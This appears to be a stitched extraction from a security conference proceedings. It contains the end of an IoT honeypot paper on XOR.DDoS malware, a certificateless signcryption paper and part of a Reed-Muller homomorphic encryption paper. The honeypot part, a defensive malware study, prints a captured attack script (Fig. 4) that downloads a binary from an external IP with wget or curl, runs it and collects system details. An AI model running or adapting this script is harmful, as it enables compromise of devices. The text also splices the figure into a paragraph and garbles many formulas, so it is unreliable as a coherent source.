advance malware as it uses packers for code obfuscation. During the dynamic analysis
it was discovered that XOR.DDoS creates multiple copies of itself and executes them
with different PIDs using execve() function call. Also the address of the C&C IP is
hardcoded in the malware code but is encrypted.

We also captured the ‘The moon’ malware sample which propagates by exploiting
the shellshock vulnerability [23] in the Linux based IoT devices.

6 Conclusion and Future Work

Rise in the attacks targeting IoT devices is positively correlated with the increased
number of DDoS attacks launched by attackers targeting critical infrastructures and
services hosted on internet. Being soft targets these IoT devices have become a pre-
ferred choice for attackers looking for mass compromises for building botnets and

rm -rf /var/run/sftp.pid;filename="/fuck";$filename|| (filename="/3507.rar";cd /;
pwd;path=$filename;rm -f $path* || /dev/null > $path;
for list in `echo http://43.255.X.X/;do(wget-O $filename $list$filename|| 
curl -o $filename $list$filename) && break;done ; 
if [ -f $path ];then chmod +x $path;$path && echo ExecOK;fi);sleep 1;uname -a;
cat /etc/issue;df -h;ps -ef|grep -v $$||ps aux|grep -v $$||ps x|grep -v $$;
netstat -antop||netstat -ano|grep-v 127.0.0.1||netstat -an|grep -v 127.0.0.1;
echo ExecOK;cat /var/run/sftp.pid && echo InstallOK;
cat /var/run/mount.pid && echo InstallOK;
cat /var/run/gcc.pid && echo InstallOK"

Fig. 4. Script executed by the XOR.DDoS after successful compromise
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offering DDoS services on dark web. Further this trend has resulted in the emergence of
the new classes of malwares targeting Linux based operating systems and CPU
architectures used in IoT devices.

An active approach is required to address this problem as the conventional security
measures are failing miserably. Also there is a need for a large scale monitoring of the
internet incidents to keep an eye on the global attack trends. The deployment scenario
suggested by us are suitable for monitoring the SoHo environments and can comple-
ment the efforts of conventional security devices. The best part of these deployment
scenario is that they don’t effect the normal internet usage of the users in the SoHo
environment. In future we would like to work on the large scale deployment of the
suggested scenarios and for monitoring the attacks on IoT devices and tracking of the
IoT botnets.
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Abstract. Confidentiality and message authentication are the most
important security goals that can be achieved simultaneously by Sign-
cryption scheme. It is a cryptographic technique that performs both the
functions of digital signature and public key encryption in a single logi-
cal step significantly at a lower cost than that of conventional method of
signature-then-encryption. The paper proposes an efficient Certificateless
Signcryption Scheme (CLSC) in random oracle model on bilinear mapping.
It is provably secure under the assumptions of intractability of k-CAA,
Inv-CDH, q-BDHI and CDH problems.

Keywords: Provable security · Public key infrastructure · Insider secu-
rity · Chosen message attack

1 Introduction

Signcryption is a cryptographic primitive designed to operate both the function
encryption and signing in a one single logical step significantly at a lower cost
than that of conventional approaches [1]. Hence, it provides both the security
goals confidentiality and authentication simultaneously. In order to authenticate
the user’s public keys in public key cryptography, public key infrastructure (PKI)
and identity based cryptography (IBC) are applied. Issuing of the certificate and
managing can be carried out by setting a hierarchical framework called public
key infrastructure (PKI).

In the PKI, a trusted third party called a certificate authority (CA) issues
a certificate that provides an unforgeable and trusted link between the public
key and the identity of a user by the signature of the CA. However certificate
management includes storage, revocation, distribution of certificates is complex
in traditional PKI. Further, the validity of the certificate is verified prior to use
them. Hence there is a key management problem in PKI. This is resolved by
identity-based cryptography (IBC) that was introduced by Shamir [2] in 1984.
At IBC, the public key of the users is in the form of binary string that can iden-
tify the user through the certificates. The binary strings may be the IP address,
c© Springer International Publishing AG 2016
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e-mail address, etc. Since 1984, many identities-based signature schemes (IBS)
have been proposed [3,4]. But the efficient identity-based encryption (IBE) was
proposed by [19] in 2001 using bilinear pairing over super singular curves. After-
ward, numerous identify-based signcryption scheme (IBSC) are proposed [5–10].
The advantage of IBC is that it reduces the requirement of public key certifi-
cates with the help of a trusted third party known as a public key generator
(PKG). The role of PKG is generated and issue the private key of all of its users
so that only these users can decrypt the ciphertext that provides the implicit
in certification. Hence, it reduces the space and time complexity. However, this
leads the key escrow problem to the IBC. Also in IBS scheme, PKG might forge
any user’s signature participating in the protocol. Generally in all the traditional
signcryption schemes, the user’s public key is the pseudo random bit string to be
chosen from a particular given set. So, the user’s authorization can be achieved
by signcryption scheme.

In order to solve this key escrow problem in IBC, a new paradigm is intro-
duced by Al-Riyami and Paterson [11] which is known as certificateless cryp-
tography which does not require the use of the certificate. However, it does not
solve fully key escrow problem of IBC. In order to serve in between PKI and
IBC, the public key cryptography is framed with certificateless setting. There
exist a trusted third party known as a key generator center (KGC) is to be fixed
and is not be allowed to access the user’s private key in IBC. KGC takes the
user’s identity and master secret key as input and generates a partial private
key. Then the user chooses a secret value, combines with the partial private key
and computes full private key. Since the public key is no longer computable from
the identity of the user, it is not identity-based technique. If a sender would send
a message to the receiver in certificateless setting, she has to obtain the public
key of the receiver. However it does not require the authentication of receiver’s
public key and no need of the certificates. In this paper, we propose a prov-
ably secure certificateless signcryption scheme in random oracle. Security of the
scheme relies on k-CAA, Inv-CDH, q-BDHI and CDH problem. We prove that,
the proposed scheme has the indistiguishability property against adaptive cho-
sen ciphertext attack and existential unforgeable against chosen message attack
under the defined security model.

The paper is organized as follows. Sections 1 and 3 present introduction and
related works on CLSC. In Sect. 3, we define mathematical assumption and prop-
erties of the admissible bilinear map. The framework of the scheme and security
model are described in Sects. 4 and 5 respectively. The proposed scheme is pre-
sented in Sect. 6 and finally we conclude in Sect. 7.

2 Previous Works

The notion of certificateless signcryption(CLSC) was introduced by Barbosa and
Farshim [18] in 2008. Al-Riyami et al. [11], Selvi et al. [12] and Xie and Zhang
[21] proposed three different provably secure schemes individually in the random
oracle model. In the random oracle model, it is assumed that, the hash function is
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substituted by a random function called random oracle. The random function is
allowed to access publicly. As a result, in the random oracle model, the hash value
cannot be computed by the adversary. Liu et al. [20] proposed a CLSC scheme in
the standard model in 2009. In the standard model, the adversary gets a limited
amount of time and computing power to access the system. The vulnerability of
the scheme has proven by Selvi et al. [12]. Also, she has proven these schemes
are not publicly verifiable and have forward security. The technique of tag-Key
Encapsulation method signcryption scheme was proposed by Li et al. [22] using
the certificateless setting. However, Selvi et al. [12] proved that the hybrid scheme
is not secure against existentially unforgeable attack and proposed an improved
version of the scheme. In an identity-based setting Malone-Lee constructed a
signcryption scheme [16]. Boyen extended this work and formulated the security
framework that achieved different security goals that could be constructed by
an identity-based signcryption scheme [6]. Subsequently, by Libert et al. in [17]
and Chen et al. in [7] proposed a secure and efficient signcryption scheme.

Numerous of CLSC [18,20] have been proposed based on bilinear mapping
and discuss the complexity in the computation of pairing operations. However
the computation time and cost in the computation of pairing operations remains
same and did not reduce. Selvi et al. [13] and Xie and Zhang [14] have proposed
two CLS without pairing. This motivated to construct pairing free CLSC and
proposed in [15]. Furthermore, in these schemes there are some modular expo-
nent operations which results poor performance in computation due to high
computational time.

Due to less computational cost and communication overhead, our scheme is
most suited to implement on low-end constrained devices, such as wireless sensor
network, smart phone, PDA etc. The proposed scheme is provably secure in the
random oracle model. In many cryptographic applications such as secure broad
cast, mobile adhoc network, etc. where both authentication and confidentiality
is required at a time. Therefore Signcryption technique can be used in these
applications. Further, since our scheme is based on identity-based cryptography,
no need to authenticate a public key. This results to reduce in computational
cost.

3 Preliminaries

3.1 Bilinear Pairings and Complexity Assumptions

Bilinear pairing is a map between two groups. There are two form of bilinear
pairings on elliptic curves known as Weil and Tate pairings. It is defined as:
Let G1 be a cyclic additive group of prime order q and G2 be a cyclic multi-
plicative group of the same prime order p. Let ê be a bilinear map which is
non-degenerated and computable.

ê : G1 × G1 → G2

holds following
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– Bilinearity: Let a, b ∈ Z
∗
q and P,Q ∈ G1

1. ê(aP, bQ) = ê(P,Q)ab.
2. ê(P + Q,R) = ê(P,R)ê(Q,R), for P,Q,R ∈ G1.

– Non-degenerate: Generator of G2 is ê(P, P ), if the generator of G1 is P .
ê(P,Q) �= 1G2 for P,Q ∈ G1.

– Computability: ê(P,Q) can be compute efficiently for all P,Q ∈ G1.

ê is the bilinear map and is considered as admissible.
We consider the pairing is the modified Tate pairing and weil pairing on super
singular elliptic curve.

Definition 1 (k-Collusion Attack Algorithm Assumption (k-CAA)).

Let k be an integer, s
R←− Z

∗
p and P be the generator of an additive group <G,+>.

k-CAA problem in the group G is defined as given
P, βP and k-pairs H1, (β + H1)−1P ), (H2, (β + H2)−1P ) . . . (Hk, (β +

Hk)−1P ), it is computationally infeasible to compute pair (H∗
1 , (β + H∗

2 )−1P )
for some H∗ /∈ {H1,H2 . . . Hk} and β.

Definition 2 (Inverse Computational Diffie-Hellman Problem (Inv-
CDH)). Inverse Computational Diffie-Hellman Problem(Inv-CDH) is given
P, βP is to compute 1

β P , where β
R←− Z

∗ is an unknown quantity.

Definition 3. (q-Strong Diffie-Hellman Problem (q-SDHP)). Let G1 and
G2 are two groups of same prime order p and e : G1 × G1 → G2 be the bilinear
map. P be a generator of the group G1. q-Strong Diffie-Hellman Problem(q-
SDHP)in (G1,G2, e) is given (P,QβQ, β2Q . . . βqQ), q + 2 tuples as input, to
compute (c, 1

c+β P ), where c
R←− Z

∗
q be an unknown quantity.

Definition 4. (q-Bilinear Diffie-Hellman Inverse Problem (q-BDHIP)).
Let G1 and G2 are two groups of same prime order p and e : G1×G1 → G2 be the
bilinear map. P be a generator of the group G1. q-Bilinear Diffie-Hellman Inverse
Problem(q-BDHIP) in (G1,G2, e) is given (P, βP, β2P . . . βqP ) is to compute
(P, P )

1
β .

4 Framework of Certificateless Signcryption (CLSC)

Certificateless Signcryption Scheme (CLSC) comprises following seven probabilis-
tic polynomial time solvable algorithms.

– Setup: It is a global probabilistic polynomial time solvable algorithm run by
KGC. Let 1k be the security parameter is given as input. It outputs Msk as
a KGC’s master secret key and params as system parameters which consists
of Mpk, M, C and R as master public key, descriptions of message space,
ciphertext space and randomness space respectively. Formally

(params, Msk) ← Setup(1k)
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– Extract-Partial-Private-Key: The algorithm constructs user ’s partial
private key SID. It takes the system parameters params, master secret key
Msk, identity of the corresponding user ID ∈ {0, 1}∗. Formally we can write

SID ← Extract − Partial − Private − Key(params, Msk, ID)

– Generate-User-Keys: This algorithm generates a secret value μ and a public
key PKID. It takes params and an identity ID as input. The secret value
generated is used to construct the full private key by the following algorithm
and the public key generated is published without certification. Formally we
can write:

μ ← Generate − User − Keys(params, ID)

– Set-Private-Key: The algorithm constructs the user’s full private key dID.
It take the two parameters user’s partial private key SID and a secret value
μ as input. Formally

Set − Private − Key(SID, μ)

– CL-Signcrypt: This algorithm constructs the certificateless signcrypt text
ciphertext c ∈ C. It run taking the system parameter params, plaintext mes-
sage m ∈ M, the sender’s full private key dIDs

, user’s identity IDs and sender’s
public key PKIDs

, and the receiver’s identity IDr and receiver’s public key
PKIDr

.

c ← CL − Signcrypt(params,m, dIDs
, IDs, PKIDs

, IDr, PKIDr
)

– CL-Unsigncrypt: This algorithm returns the plaintext message m and symbol
⊥ for failure if plaintext message is not valid. It takes the system parameter
params, a ciphertext c, the sender’s identity IDs and public key PKIDs

,
and the receiver’s full private key SIDr

, identity IDr and public key PKIDr
.

Formally

(m/⊥) ← CL − Unsigncrypt(params, IDs, PKIDs
, SIDr

, IDr, PKIDr
)

5 Security Discussions

The security of signcryption have two issues: the security goal that we want to
achieve and the attack model where to evaluate the capabilities of the adversary.
The notion of security was defined by Barbosa and Farshim [18]. Confidentiality
and Unforgeability are the two most important security requirement for a CLSC
scheme. In CLSC confidentiality is defined by the model as indistinguishabil-
ity against adaptive chosen ciphertext attacks (IND-CCA2) and Unforgeability
is defined by the model as existential unforgeability against adaptive chosen
messages attacks (UF-CMA).

Consider the strong notion of insider security. So the notion of strong exis-
tential unforgeability against adaptive chosen message attacks is denoted by



494 J. Kar and K. Naik

(sUF-CMA). Here, the adversary wins the game, if it returns a valid message and
signcryption (m,σ) provided the signcryption oracle does not returns the sign-
cryption σ on the message m in before. Similar to the author proposed in [6,7],
the attacks targeting to signcryption does not consider for IDs = IDr.

These type of queries are not allowed for significant oracles and are not taken
the signcryption as a valid forgery. Following two types of adversaries exists in
the model.
Type-I and II attacker

– Type-I: The adversary constructs an attacker who is considered as a common
user of the system and not in possession of the master secret key generated
by KGC. But he can replace the public key of the users with valid public keys
of his choice in an adaptive manner.

– Type-II: The adversary constructs an honest-but-curious KGC who knows the
KGC’s master secret key. But he cannot able to replace public keys of the users.

Definition 5. A CLSC scheme is said to be IND-CCA2-I secure (resp.
IND-CCA2-II secure) if there is no probabilistic polynomial time (PPT) adver-
sary AI (resp. AII) which wins IND-CCA2-I (resp. IND-CCA2-II) with non-
negligible advantage. A CLSC scheme is said to be IND-CCA2 secure if it is both
IND-CCA2-I secure and IND-CCA2-II secure.

Definition 6. A CLSC scheme is said to be sUF-CMA-I secure (resp. sUF-
CMA-II secure) if there is no PPT adversary FI (resp. FII) which wins
sUF-CMA-I (resp. sUF-CMA-II) with non-negligible advantage. A CLSC scheme
is said to be sUF-CMA secure if it is both sUF-CMA-I secure and sUF-CMA-II
secure.

6 Proposed Certificateless Signcryption Scheme (CLSC)

6.1 Construction

The proposed CLSC is defined be the following seven PPT algorithms.

– Setup: given security parameter k, KGC chooses bilinear map groups (G1,G2)
of same prime order p > 2k and generators P ∈ G1, g = e(P, P ), where g ∈
G2. Again KGC chooses three collision resistant cryptographic hash functions
H1 and H2 maps as:

• H1 : {0, 1}∗ → Z
∗
p.

• H2 : {0, 1}∗ × G2 → Z
∗
p.

• H3 : G2 → {0, 1}n.
KGC picks randomly s

R←− Z
∗
p as master key and computes its public key as

Ppub = sP ∈ G1. Public system parameters are

params = {G1,G2, P, g, Ppub,H1,H2,H3}
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– Partial-Private-Key-Extract: Given an user’s identity ID ∈ Z
∗
p, PKG com-

putes the private key as SID = 1
H1(ID)+sP ∈ G1, and sends to the respec-

tive user through a secure channel. The user can verify through the equa-
tion e(SID, Ppub + H1(ID)P ) = g. Let for the sake of convenience, denotes
U = Ppub + H1(ID)P .

– Set-Secret-Value: The user with identity ID set his secret value v by picking
v

R←− Z
∗
p randomly.

– Set-Private-Key: The user with identity ID set his complete private key as
S : (SID, v).

– Set-Public-Key: The user with identity ID computes his public key as
PKID = v · U . Hence PKIDi

= viUi, for i = s and r denotes as sender and
receiver respectively.

– CL-Signcrypt: Given a message m ∈ {0, 1}∗, sender’s private key SIDs
, recip-

ient’s identity IDr. She performs the following steps to compute signcrypt.
1. Select μ

R←− Z
∗
p randomly and computes λ = gμ.

2. Set h = H2(m,PKIDr
).

3. Computes T = μ · Ur.
4. Computes c = m ⊕ H3(λ).
5. Computes σ = 1

vs+hSIDs
.

Signcrypt is τ = <c, σ, T>
– CL-UnSigncrypt: Given the ciphertext c, σ, IDs, IDr, T and receiver partial

private key SIDr
computes the plaintext message as

1. Computes λ = e(SIDr
, T )

2. Computes m = c ⊕ H3(λ)
– CL-Verify: Given params, m and σ, any user/sender with his identity IDs

verifies as
1. Computes h = H2(m,PKIDs

).
2. Accept the message m iff the following equation holds

g = e(σ, PKIDs
+ hUs) (1)

and returns the message m and signature (σ, h) ∈ G1 × Z
∗
p.

6.2 Analysis of the Scheme

This section, we proof the consistency of the scheme and analyze the security
and performance.

6.3 Consistency

e(SID, T ) = e( 1
H1(ID)+sP, μ(Ppub + H1(ID)P )

= e( 1
H1(ID)+sP, μ(H1(ID) + s)P )

= e(P, P )μ = gμ = λ
Now we verify the consistency of Eq. 1.
e(σ, PKIDs

+ hUs) = e( 1
vs+hSIDs

, vsUs + hUs)
= e( 1

vs+hSIDs
, (vs + h)Us)

= e(SIDs
, Us) = e(P, P )

= e(P, P ) = g



496 J. Kar and K. Naik

6.4 Security Analysis

In this section, we present the security proof for Confidentiality and
Unforgeability of our proposed scheme, where hash functions are modeled
as random oracle over the game against Type-I and Type-II adversary defined
in Sect. 4.

Theorem 1. Under the assumption of intractability of q-BDHIP and CDHP
in G1, the proposed CLSC scheme is IND-iCCA-I and IND-iCAA-II secure in
random oracle model respectively.

Lemma 1. Assume that there exist an PPT IND-iCCA-I attacker A of Type-I
has an advantage ε against the proposed CLSC scheme in time t submitting queries
qhi

to the corresponding hash functions Hi, i = 1, 2 and 3 modeled as random
oracle. Let qk is query to the secret-value, Lpk is query to public key replacement,
qse and qus denotes signcrypt and qus unsigncrypt extraction query respectively,
then there exist an (ε∗, t∗) algorithm B that can solve q-BDHI problem in G1

with probability

ε∗ >
ε

qh1(2qh2 + qh3)
(
qse(qse + qh2)

2k
)(

qus

2k
)

within a time

t∗ < t + O(q2h1
)tsm + O(qse + qus)tpair + O(qusqh2)texp

where tsm denotes the running time for scalar multiplication on G1, tpair running
time for pairing computation and texp denotes the running time for exponent
operation.

Lemma 2. Assume that there exist an PPT IND-iCCA-II attacker A of
Type-II has an advantage ε against the proposed CLSC scheme in time t sub-
mitting queries qhi

to the corresponding hash functions Hi, i = 1, 2 and 3 mod-
eled as random oracle. Let qk is query to the secret-value, qse and qus denotes
signcrypt and qus unsigncrypt extraction query respectively, then there exist an
(ε∗, t∗) algorithm B that can solve CDH problem in G1 with probability

ε∗ >
ε

qw(2qh2 + qh3)
(1 − qse(qse + qh2)

2k
)(1 − qus

2k
)

within a time

t∗ < t + O(q2w)tsm + O(qse + qus)tpair + O(qusqh2)texp

Theorem 2. Under the assumption of intractability of k-CAA and Inv-CDH
in G1, the proposed CLSC scheme is sUF-iCMA-I and sUF-iCMA-II secure in
random oracle model respectively.

The theorem follows from Lemmas 3 and 4.
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Lemma 3. Assume that there exist an PPT sUF-iCMA-I attacker AI of Type-I
has an advantage ε against the proposed CLSC scheme in time t submitting queries
qhi

to the corresponding hash functions Hi, i = 1, 2, 3 modeled as random oracle.
Let qppk, qpk, qqk, qqse

and quc denotes query to the partial private-key extraction,
private key extraction oracle, public key request, signcryption and unsigncryption
oracles respectively, then there exist an (ε∗, t∗) algorithm B that can solve k-CAA
problem in G1 with probability

ε∗ ≥ 1
q1

(1 − qse(qse + qppk + qpk)
2k

)(1 − qus

2k
)

t∗ < t + O(q21 + qse)tsm + O(qse)tinv + O(qse)texp

Lemma 4. Assume that there exist an PPT sUF-iCMA-II attacker AII of
Type-II has an advantage ε against the proposed CLSC scheme in time t sub-
mitting queries qhi

to the corresponding hash functions Hi, i = 1, 2, 3 modeled
as random oracle. Let qppk, qse and quc denotes query to the partial private-key
extraction, query to signcryption and query to unsigncryption, then there exist
an (ε∗, t∗) algorithm B that can solve Inv-CDH problem in G1 with probability

t∗ < t + O(q21 + qse)tsm + O(qse)tinv

7 Conclusion

This article proposes a generic construction of Certificateless Signcryption
Scheme (CLSC) which is provably secure in random oracle model. The scheme is
proven to be satisfied confidentiality and unforgeability against chosen cipher-
text and message attack of Type-I and Type-II in an adaptive manner respec-
tively. Due to less computational cost and communication overhead, the proposed
scheme is suited to implement on low power and processor devices such as PDA,
smart phone, WSNs and smart card etc.
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Abstract. Several number theoretic and algebraic homomorphic encryption
schemes were proposed in the literature, which have been remained theoretical
due to their high computational complexities. Coding theory is believed to be a
promising alternative for the construction of homomorphic encryption schemes.
A few of such schemes exist, but, they support limited operations of additions
and multiplications over the ciphertexts. Based on a special class of linear codes
called Reed-Muller codes, in this paper, a new symmetric key Fully Homom-
rphic Encryption (FHE) scheme is proposed, which employs a novel method of
ciphertext post processing to achieve unlimited homomorphic multiplications.
The security of the proposition is analysed with respect to all the known attacks.

Keywords: Coding � Theory � Homomorphic encryption � Reed-Muller code �
Security � Practicality � Encrypted data processing

1 Introduction

A Fully Homomorphic Encryption (FHE) is treated as the holy grail of cryptography,
because, it allows arbitrary processing of encrypted data supporting unlimited addition
and multiplication operations over the ciphertexts [20]. The first ever FHE scheme
proposed by Craig Gentry [20] was practically infeasible due to high computational
complexities underlying the construction. Since then, in a quest for devising a practical
FHE scheme, several variants of the Gentry’s scheme and altogether new schemes were
proposed based on different security assumptions and hard algebraic and number
theoretic problems [1, 3, 9, 21]. However, none of them could be a candidate for
practical deployment, which means devising an FHE scheme with practical time
complexities is still an open problem.

Coding theory based encryption schemes support Homomorphic operations
because of the simple linear mapping in the decoding function [10]. Security of the
coding theory based schemes lies in the difficulty of the syndrome decoding problem
[23]. The best known algorithms for decoding a random linear code are based on the
information set decoding technique [11–14] and they run in exponential time.
Homomorphic encryption schemes based on coding theory would be interesting
because of two main reasons. First one is, the alternative security assumptions they
could be based on like solving multivariate equations over a finite field, decoding linear
codes, which can withstand the power of quantum computing. Secondly, the decryption
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operation can be simple as stated earlier [10]. Therefore, the current work in this paper
further emphasizes the need and the possibility of constructing secure and efficient
homomorphic encryption schemes based on coding theory.

Contributions. The major contribution of this paper is to show how to obtain a
symmetric key Fully Homomorphic Encryption scheme using the popular Reed-Muller
code. The result may be treated as a variant and specific instantiation of the linear code
based scheme proposed in [10]. The main difference is, while the scheme of [10]
supports evaluation of polynomials with some specified degree, the proposed scheme is
generic, which supports unlimited XOR (mod 2 addition) and AND (mod 2 multipli-
cation) operations over the ciphertexts due to which it can be used to evaluate arbitrary
functions over the encrypted data. In order to achieve this, a novel denoising or
ciphertext post processing step is suggested to remove the additional error term that
will be introduced during the homomorphic multiplication of two ciphertexts. Without
this denoising operation, decryption after homomorphic multiplication gives incorrect
results. Known attacks are discussed to show that the proposed scheme is secure.

2 Related Work

The motivation for the entire contemporary work on FHE schemes can be attributed to
Crag Gentry’s first ever theoretical FHE construction [20] based on a novel three-step
blueprint. The target of all the later works is to make either the Gentry’s work close to
practicality or to devise an FHE with practical time complexities possibly with different
security assumptions. In such efforts, the pioneering contributions are by [1, 5, 21],
which are variants of the Gentry’s scheme, then by [7, 8] with deviation from the
original Gentry’s blueprint and the work of [3, 21] with security assumptions based on
hard problems in the number theory such as Approximate Greatest Common Divisors
(AGCD) problem and Chinese Remainder Theorem (CRT) respectively. Also, some
implementations and optimizations of the FHE schemes were suggested in [2, 4–6].

Apart from these, a few coding theory based homomorphic encryption schemes
were developed such as the McEliece code based schemes, but, unsuccessful to build or
obtain an FHE [15, 16]. Later development has come with homomorphism with respect
to limited XOR operations [17]. The public key scheme proposed based on McEliece
codes [19] support additive homomorphism and mixed homomorphism but does not
support multiplicative homomorphism. Armknecht et al. [10] proposed a generic
construction for the first ever code-based symmetric key homomorphic encryption
supporting both addition and multiplication with specific instantiation using
Reed-Muller codes. In order to achieve both additive and multiplicative homomor-
phism, they used the evaluation codes, which are subclass of linear codes and are
defined by evaluating certain functions. The security of their scheme is based on the
well-studied decoding problem, called Decisional Synchronized Codewords Problem
(DSCP). Since the evaluation codes are defined by evaluation of certain functions, the
scheme supports unlimited number of additions, but, an arbitrarily fixed number of
multiplications. Another structural limitation of their scheme is the number of
encryptions is limited. The Reed-Muller code based scheme proposed in this paper can
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be considered as a variant of this Armknecht et al.’s [10] scheme. However, an alto-
gether new approach is employed for obtaining an FHE successfully from the original
Reed-Muller codes.

3 Preliminaries

In this section the notation used and a brief introduction to Reed-Muller codes is
presented for quick comprehension of the proposed work.

An arbitrary finite field is denoted by F and GF(q) denotes a finite Galois field of
size q. The bold small case letters (e.g., v) are used to denote vectors. The sym-
bols �;^ carry their usual meaning of logical XOR, AND operations respectively. For
an integer n, the symbol [n] denotes the set of integers {1… n}.

Reed-Muller Codes. Reed-Muller codes are linear error-correction codes used in
communications [24]. They are designated by RM(r, m) with two positive integer
parameters r and m, where r is the order of the code and n = 2m is the code length, with
r � m [24, 25]. A Reed-Muller code RM(r, m) is defined by the set of codewords [18],

RM r; mð Þ ¼ f a0ð Þ. . .f an�1ð Þð Þ : f 2 P r; mð Þf g

where, P r;mð Þ is the set of m-variate polynomials of degree at most r on F2 (i.e., GF
(2)). The symbols a0 … an−1 are all the elements of Fn

2. For example, Reed-Muller code
of order r and code length n = 2m can be defined as shown below [24].

For m ¼ 0 ! RM 0; 0ð Þ ¼ 0; 1f gwhere n ¼ 20 ¼ 1
Form ¼ 1 !RM 0; 1ð Þ ¼ 00; 11f gwhere n ¼ 21 ¼ 2

RM 1; 1ð Þ ¼ 00; 01; 10; 11f g
Form¼ 2 !RM 0; 2ð Þ ¼ 0000; 1111f gwhere n ¼ 22 ¼ 4

RM 1; 2ð Þ ¼ 0000; 0101; 1010; 1111; 0011; 0110; 1001; 1100f g
RM 2; 2ð Þ ¼ 0000; 0001; 0010; 1000; 0011; 0110; 0101; 1010;f

1100; 1001; 0111; 1011; 1101; 1110; 1111g

The dimension k for RM(r, m) is defined as: k ¼ 1þ m
1

� �

þ
m
2

� �

þ . . .þ m
r

� �

:

The number of errors corrected by an RM code depends on the minimum distance
of the code. The minimum distance of an RM(r, m) code is defined as, d = 2m−r. The
message we want to transmit across the network must be encoded before sending it.
The length of the message needs to be equal to the dimension of the code. The message
vector which is suitable for RM(r, m) code is denoted as m and defined as, m = (a0,
a1… , ak−1). In order to encode the message m, we use a generator matrix for RM(r, m)
with k rows and n = 2m columns, which is denoted as GMr,m. All the rows in the
generator matrix are distinct. Consider m binary linearly independent vectors v1… vm.
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Let F be a set of all possible Boolean functions of these vectors defined by a monomial
term, F = {1, v1 … vm, v1v2 … vm−1vm, v1v2v3 … vm−2vm−1vm, … v1v2 … vm}

The generator matrix for RM(r, m) is defined as,

The encoding process gives a different codeword as an outcome for each trans-
mitted message vector respectively. The codeword is denoted as cw and it is formed by
using generator matrix and message vector as:

cw ¼ x0; x1. . .; x2m�1ð Þ ¼ m.GMr;m ¼ Pk�1
i¼0 aiRi where Ri is the ith row of the

generator matrix. Thus, cw = a0 + a1v1 + … + amvm + am+1v1v2 +… + ak –1vm – r + 1…
vm−1vm.

The cw transmitted by the source may get affected by noise during transmission and
hence may contain some errors when it is received at the destination. The Reed’s
algorithm [24, 25] employs majority logic for effective decoding. However, we use a
different version of decoding for the purpose of our scheme, which is given in the
Sect. 4.2.

4 Proposed Fully Homomorphic Encryption Scheme

In this section, we formally present the proposed new FHE scheme constructed using
Reed-Muller codes discussed in the previous section. The proposition is a symmetric
key encryption due to similar structural limitations discussed in [10] and hence uses a
single secret key K for both encryption and decryption. At a high level, the scheme
involves encoding and decoding operations similar to that of Reed-Muller. But, pro-
posed decoding algorithm is much simpler than that of the Reed’s algorithm discussed
above.

4.1 Overview of the Scheme

The scheme consists of seven algorithms namely, Setup, Encode, Encrypt, Decrypt,
Decode, H.Add, and H.Mul. Given the Reed-Muller parameters r, m, the Setup algo-
rithm computes the generator matrix GMr,m, length of the plaintext k, and length of the
codeword n. It also generates a secret key K and the size (bit-length) of the ciphertext
l. The key K consists of a randomly chosen bit positions or locations in a bit vector of
length l. That means, K consists of indices of bits at which each of the codeword bits
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are to be embedded during encryption. Given a plaintext message m 2 F
k
2, Encode

transforms m into a n-bit codeword cw using the generator matrix GMr,m as detailed in
the previous section. Then the codeword is encrypted using the Encrypt algorithm. For
this, an l-bit random vector ct is chosen and the bits of the codeword cw are embedded
in to ct at the positions specified by the key K, to generate the ciphertext c. The Decrypt
algorithm is simple and straightforward. Given the key K and the ciphertext c, it
extracts the codeword cw from c from the positions indicated by K. Finally, the
extracted codeword cw is decoded using the Decode algorithm to produce the plaintext
message m.

The algorithms H.Add, and H.Mul perform homomorphic addition and homomor-
phic multiplication operations respectively, on the given two ciphertexts. While the
structure of the ciphertexts allows for a homomorphic bit-wise mod 2 addition (XOR) in
a straightforward manner, the homomorphic mod 2 multiplication (AND) requires
additional post processing of ciphertexts to nullify the error produced during the mul-
tiplication. This is explained in the Subsect. 4.3 below. The following Fig. 1 depicts the
overall idea of the proposed scheme.

4.2 Algorithms

The scheme proposed consists of the following algorithms.

Setup r;mð Þ ! GM,K, lð Þ : Upon input of the two parameters r, m,

1. Compute k ¼ 1þ m
1

� �

þ m
2

� �

þ . . .þ m
r

� �

and n = 2m

2. Construct the k � n generator matrix GM for RM(r, m) such that it consists of
k vectors v0, v1 … vk−1 of n bits each

3. Compute l � n5/2

4. Select a random subset K � l½ 	 of size n.
5. Output the generator matrix GM, the key K and l.

Fig. 1. Proposed encryption scheme
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Encode m;GMð Þ ! cw: Upon input of the plaintext vector m = (a0, a1,…, ak−1)
and the generator matrix GM,

1. Compute the codeword vector, cw ¼ a0v0 � a1v1 � . . .� ak�1vk�1

2. Output cw ¼ x0; x1; . . .; xn�1ð Þ
Encrypt cw;Kð Þ ! c: Upon input of the codeword cw and the key K,

1. Generate a l-bit random vector l
2. Embed the n codeword bits in to l, at the positions specified in the key K to get the

ciphertext c.
3. Output the ciphertext c

Decrypt c;Kð Þ ! cw: Upon input of the ciphertext c and the key K,

1. Recover the n codeword bits (x0 x1… xn−1) from the positions indicated by the key K
2. Output the recovered codeword cw

Decode cwð Þ ! m: Upon input of the codeword, cw = (x0 x1 … xn−1) compute the
k-bit plaintext message m = (a0, a1 … ak−1) as follows.

1. a0 = x0
2. for i = 1 to k−1

ai ¼ x0 � xi�1
2

3. Output the message, m

H:Add c1; c2ð Þ ! ca: Given two ciphertexts c1, c2, corresponding to the messages
m1 and m2, the homomorphic addition modulo 2 (i.e., �) can be performed on the
corresponding bits in each of the ciphertexts in a straight forward manner as,
ca ¼ c1 � c2. Decryption of ca gives m1 �m2.

H:Mul c1; c2ð Þ ! cm: The homomorphic multiplication modulo 2 (i.e., ^) of the
two given ciphertexts c1, c2 corresponding to messages m1 and m2, is not straight-
forward as addition. This is because of the error/noise introduced in the resulting
ciphertext upon c1 ^ c2¼ cm. This results in incorrect decryption. In order to nullify this
error introduced, a post processing operation on cm is being proposed in this work
which is explained in detail in the next section. Finally, decryption of the post pro-
cessed ciphertext gives, m1 ^m2 as required.

4.3 Homomorphism and the Proposed Ciphertext Post Processing

The scheme proposed in the previous section directly supports unlimited homomorphic
XOR operations on the ciphertexts. This because, the size of the ciphertexts is constant
and direct bitwise XOR operation on two ciphertexts results in XOR operations on the
underlying codewords and thereby on the underlying message. For example, let a = (a0,
a1…, ak−1) and b = (b0, b1…, bk−1) be the two plaintext messages the corresponding
codewords of which are x = (x0,x1…, xn−1) and y = (y0, y1…, yn−1) respectively. Let, cx
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= (cx0, cx1…, cxl−1) and cy = (cy0, cy1 …, cyl−1) be the corresponding l-bit ciphertexts.
Now, the homomorphic addition ca ¼ cx� cy effects in the direct XOR operation on
